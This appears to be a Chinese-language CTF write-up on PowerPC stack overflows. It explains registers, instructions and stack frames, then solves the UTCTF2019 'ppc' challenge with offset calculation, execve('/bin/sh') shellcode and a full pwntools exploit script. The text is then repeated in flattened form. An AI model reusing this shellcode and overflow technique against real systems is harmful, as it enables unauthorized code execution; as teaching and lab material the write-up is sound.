PowerPC栈溢出初探:从放弃到getshell
字数 2345 2025-08-05 11:39:30

PowerPC栈溢出漏洞利用从入门到精通

1. PowerPC架构概述

PowerPC(Performance Optimization With Enhanced RISC - Performance Computing)是一种RISC架构的CPU,设计源自IBM的POWER架构。主要特点:

  • 指令字长都是32bit,4字节对齐
  • 大量通用寄存器(类似ARM和X64)
  • 由Apple、IBM、Motorola组成的AIM联盟开发

2. PowerPC寄存器体系

2.1 主要寄存器

寄存器组 功能描述
GPR0-GPR31 (32个) 整数运算和寻址通用寄存器
FPR0-FPR31 (32个) 浮点运算寄存器
LR 链接寄存器,记录跳转地址
CR 条件寄存器,反映运算结果
XER 特殊寄存器,记录溢出和进位标志
CTR 计数器,类似x86的ECX
FPSCR 浮点状态寄存器

2.2 寄存器分类

  • 专用寄存器:有预定义永久功能的寄存器(如r1堆栈指针,r2 TOC指针)
  • 易失性寄存器:r3-r12,函数可自由修改无需恢复
  • 非易失性寄存器:r13及以上,使用前必须保存,返回前恢复

2.3 关键寄存器用途

寄存器 说明
r0 函数开始时使用
r1 (sp) 堆栈指针
r2 (rtoc) 内容表指针,系统调用时包含系统调用号
r3 第一个参数和返回值
r4-r10 函数或系统调用参数
r11 指针调用和环境指针
r12 异常处理和动态链接器代码
r13 系统线程ID
r14-r31 本地变量

3. PowerPC指令集

3.1 常用指令

指令 功能
li REG, VALUE 加载立即数到寄存器
add REGA, REGB, REGC REGB + REGC → REGA
addi REGA, REGB, VALUE REGB + VALUE → REGA
mr REGA, REGB 复制REGB到REGA
or/ori 逻辑或运算
ld REGA, 0(REGB) 以REGB为地址加载到REGA
lbz/lhz/lwz 加载字节/半字/字(z表示清除其他位)
b ADDRESS 跳转到地址
bl ADDRESS 子程序调用
cmpd REGA, REGB 比较寄存器内容
beq/bne/blt/bgt 条件跳转
std/stb/sth/stw 存储数据
sc 系统调用

3.2 指令缩写含义

  • st = store
  • ld = load
  • r = right
  • l = left/logical
  • h = half word
  • w = word
  • d = dword
  • u = update
  • m = move
  • f = from/field
  • t = to/than
  • i = Immediate
  • z = zero
  • b = branch
  • n = and
  • s = shift
  • cmp = compare
  • sub = subtract
  • clr = clear

4. PowerPC栈帧结构

4.1 栈帧特点

  • 栈由编译器维护,非CPU实现
  • r1通常作为栈顶指针(sp)
  • r11或r31通常作为栈底指针
  • 函数返回值使用r3和r4寄存器

4.2 栈操作

PowerPC没有专用的Push/Pop指令,使用存储器访问指令代替:

  • stwu:代替Push
  • lwzu:代替Pop

4.3 典型栈帧布局

  1. 函数参数域:当参数多于6个时使用
  2. 局部变量域:临时寄存器不足时使用
  3. CR寄存器保存区
  4. 通用寄存器保存区
  5. 浮点寄存器保存区

4.4 函数调用示例

函数开头:

mflr %r0        ; 获取LR
stwu %r1, -88(%r1) ; 保存并移动SP
stw %r0, 92(%r1)   ; 保存LR
stw %r28, 72(%r1)  ; 保存非易失寄存器

函数结尾:

lwz %r0, 92(%r1)   ; 恢复LR
mtlr %r0
lmw %r28, 72(%r1)  ; 恢复非易失寄存器
addi %r1, %r1, 88  ; 移除栈帧
blr                ; 返回

5. PowerPC栈溢出实战

5.1 漏洞分析(UTCTF2019 PPC)

  1. 漏洞函数encrypt()
  2. 漏洞点memcpy(abStack136, buf, 1000),目标缓冲区仅104字节
  3. 保护机制:无NX、无PIE、无Canary

5.2 利用步骤

  1. 确定溢出长度

    • 静态分析:abStack136r31+0x68,LR保存在r31+0xf0+0x10
    • 偏移计算:0xf0+0x10-0x68 = 152字节
  2. 动态验证

    python -c "print('a'*152)" | ./ppc  # LR未覆盖
    python -c "print('a'*160)" | ./ppc  # LR被覆盖
    
  3. shellcode编写

    • 目标:execve("/bin/sh", 0, 0)
    • 寄存器设置:
      • r0 = 0xb (syscall号)
      • r3 = "/bin/sh"地址
      • r4 = 0
      • r5 = 0

    示例shellcode:

    xor 3,3,3       ; 清空r3
    lis 3, 0x100d   ; 加载高位地址
    addi 3, 3, 0x2b64 ; 加载低位地址
    xor 4,4,4       ; 清空r4
    xor 5,5,5       ; 清空r5
    li 0, 11        ; syscall号
    sc              ; 系统调用
    .long 0x6e69622f ; "/bin"
    .long 0x68732f   ; "/sh"
    
  4. 绕过异或处理

    • 在payload前加8字节\x00截断strlen
    • 所有地址计算需+8
  5. 完整利用

    from pwn import *
    
    context.log_level = 'DEBUG'
    p = process('./ppc')
    
    shellcode = asm("""
    xor 3,3,3
    lis 3, 0x100d
    addi 3, 3, 0x2b64
    xor 4,4,4
    xor 5,5,5
    li 0, 11
    sc
    .long 0x6e69622f
    .long 0x68732f
    """)
    
    rop = p64(0) + shellcode
    rop = rop.ljust(152, 'A')
    rop += p64(0x100D2B40 + 8)  # buf地址+8
    
    p.sendlineafter('string\n', rop)
    p.interactive()
    

6. 调试技巧

  1. 使用qemu进行PowerPC调试
  2. Ghidra反汇编效果优于IDA
  3. 关键断点设置在函数返回前:
    addi r1, r31, 0xf0
    ld r0, 0x10(r1)
    mtlr r0
    ld r31, -8(r1)
    blr
    

7. 总结

PowerPC栈溢出利用与x86架构类似,关键区别在于:

  1. 寄存器体系和调用约定不同
  2. 没有专用Push/Pop指令
  3. 系统调用使用sc指令
  4. 需要特别注意非易失寄存器的保存与恢复

掌握PowerPC架构的栈帧结构和寄存器用途是漏洞利用的关键。

PowerPC栈溢出漏洞利用从入门到精通 1. PowerPC架构概述 PowerPC(Performance Optimization With Enhanced RISC - Performance Computing)是一种RISC架构的CPU,设计源自IBM的POWER架构。主要特点: 指令字长都是32bit,4字节对齐 大量通用寄存器(类似ARM和X64) 由Apple、IBM、Motorola组成的AIM联盟开发 2. PowerPC寄存器体系 2.1 主要寄存器 | 寄存器组 | 功能描述 | |---------|---------| | GPR0-GPR31 (32个) | 整数运算和寻址通用寄存器 | | FPR0-FPR31 (32个) | 浮点运算寄存器 | | LR | 链接寄存器,记录跳转地址 | | CR | 条件寄存器,反映运算结果 | | XER | 特殊寄存器,记录溢出和进位标志 | | CTR | 计数器,类似x86的ECX | | FPSCR | 浮点状态寄存器 | 2.2 寄存器分类 专用寄存器 :有预定义永久功能的寄存器(如r1堆栈指针,r2 TOC指针) 易失性寄存器 :r3-r12,函数可自由修改无需恢复 非易失性寄存器 :r13及以上,使用前必须保存,返回前恢复 2.3 关键寄存器用途 | 寄存器 | 说明 | |-------|------| | r0 | 函数开始时使用 | | r1 (sp) | 堆栈指针 | | r2 (rtoc) | 内容表指针,系统调用时包含系统调用号 | | r3 | 第一个参数和返回值 | | r4-r10 | 函数或系统调用参数 | | r11 | 指针调用和环境指针 | | r12 | 异常处理和动态链接器代码 | | r13 | 系统线程ID | | r14-r31 | 本地变量 | 3. PowerPC指令集 3.1 常用指令 | 指令 | 功能 | |------|------| | li REG, VALUE | 加载立即数到寄存器 | | add REGA, REGB, REGC | REGB + REGC → REGA | | addi REGA, REGB, VALUE | REGB + VALUE → REGA | | mr REGA, REGB | 复制REGB到REGA | | or/ori | 逻辑或运算 | | ld REGA, 0(REGB) | 以REGB为地址加载到REGA | | lbz/lhz/lwz | 加载字节/半字/字(z表示清除其他位) | | b ADDRESS | 跳转到地址 | | bl ADDRESS | 子程序调用 | | cmpd REGA, REGB | 比较寄存器内容 | | beq/bne/blt/bgt | 条件跳转 | | std/stb/sth/stw | 存储数据 | | sc | 系统调用 | 3.2 指令缩写含义 st = store ld = load r = right l = left/logical h = half word w = word d = dword u = update m = move f = from/field t = to/than i = Immediate z = zero b = branch n = and s = shift cmp = compare sub = subtract clr = clear 4. PowerPC栈帧结构 4.1 栈帧特点 栈由编译器维护,非CPU实现 r1通常作为栈顶指针(sp) r11或r31通常作为栈底指针 函数返回值使用r3和r4寄存器 4.2 栈操作 PowerPC没有专用的Push/Pop指令,使用存储器访问指令代替: stwu :代替Push lwzu :代替Pop 4.3 典型栈帧布局 函数参数域 :当参数多于6个时使用 局部变量域 :临时寄存器不足时使用 CR寄存器保存区 通用寄存器保存区 浮点寄存器保存区 4.4 函数调用示例 函数开头: 函数结尾: 5. PowerPC栈溢出实战 5.1 漏洞分析(UTCTF2019 PPC) 漏洞函数 : encrypt() 漏洞点 : memcpy(abStack136, buf, 1000) ,目标缓冲区仅104字节 保护机制 :无NX、无PIE、无Canary 5.2 利用步骤 确定溢出长度 : 静态分析: abStack136 在 r31+0x68 ,LR保存在 r31+0xf0+0x10 偏移计算: 0xf0+0x10-0x68 = 152 字节 动态验证 : shellcode编写 : 目标: execve("/bin/sh", 0, 0) 寄存器设置: r0 = 0xb (syscall号) r3 = "/bin/sh"地址 r4 = 0 r5 = 0 示例shellcode: 绕过异或处理 : 在payload前加8字节 \x00 截断 strlen 所有地址计算需+8 完整利用 : 6. 调试技巧 使用qemu进行PowerPC调试 Ghidra反汇编效果优于IDA 关键断点设置在函数返回前: 7. 总结 PowerPC栈溢出利用与x86架构类似,关键区别在于: 寄存器体系和调用约定不同 没有专用Push/Pop指令 系统调用使用 sc 指令 需要特别注意非易失寄存器的保存与恢复 掌握PowerPC架构的栈帧结构和寄存器用途是漏洞利用的关键。